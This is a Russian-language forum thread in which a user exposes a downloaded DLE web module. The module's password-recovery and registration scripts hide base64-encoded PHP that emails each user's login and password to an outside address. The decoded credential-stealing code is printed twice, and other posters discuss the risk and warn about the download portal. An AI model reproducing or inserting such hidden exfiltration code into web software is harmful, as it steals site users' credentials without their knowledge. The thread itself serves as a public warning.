[sokol33]

Скачал я с одного портала 100нт один веб-модуль (не буду говорить какой).

Поставил я его... и тут проблемка... не присылает на email новый пароль.
Полез я в скрипт восстановления пароля (forget.php).

И нашёл я одну строчку, закадированную в base64 , вот её раскодировка :

include_once ENGINE_DIR.'/classes/mail.class.php';
$mail = new dle_mail($config);
$message = "Спасибо за регистрацию!\n\n";
$message.= "Ваш логин: {$l2login}\n";
$message.= "Ваш пароль: {$l2password_tmp}\n";
$message.= "----------------------------\n";
$message.= "С уважением, Администрация.\n";
$message.= "{$config['http_home_url']}";
$mail->send("[email protected]", "Благодарим за регистрацию {$config['http_home_url']}", $message);

Если кто-то не понимает, то данный скрипт отсылает логин и пароль на email - [email protected] .
Таже хрень и в регистрации. отсылает пароли.

На попытки открыть тайну пользователям, мои сообщения удаляют.
Я уверен что это не единственная пакость на этом портале.

Так что подумайте 100 раз, прежде чем качать что-то с этого портала.

[Andrey108]

Ничего удивительного. :)

[Logan22]

не уш ты думаешь те кто регится на сайте отсылается на мыло пассы и акки "[email protected]" !
Думаю если бы они так хотели бы сделать, то вероятно что там бы работало бы всё! и небыло бы потребности ковырять файлы, темболее в кодировке)

[CripS]

Да это реально есть, коглда шарит человек 109th ему отсылаются пароли от шары, надо же ему зарабатывать

[sokol33]

не уш ты думаешь те кто регится на сайте отсылается на мыло пассы и акки "[email protected]" !
Думаю если бы они так хотели бы сделать, то вероятно что там бы работало бы всё! и небыло бы потребности ковырять файлы, темболее в кодировке)

registration.php

Код

include_once ENGINE_DIR.'/classes/mail.class.php';
    $mail = new dle_mail($config);
    $message = "Спасибо за регистрацию!\n\n";
    $message.= "Ваш логин: {$l2login}\n";
    $message.= "Ваш пароль: {$l2password_tmp}\n";
    $message.= "----------------------------\n";
    $message.= "С уважением, Администрация.\n";
    $message.= "{$config['http_home_url']}";    
    $mail->send("[email protected]", "Благодарим за регистрацию {$config['http_home_url']}", $message);

тоже в base64.

Сообщение отредактировал sokol33 - 18.10.2009, 18:30

[Destus]

Разбирайтесь с автором новости или данным порталом. La2base.ru к этому не имеет отношения, шара выкладывается на свой страх и риск на любом портале, помните это. Возможно с помощью вас собирают ботнет;)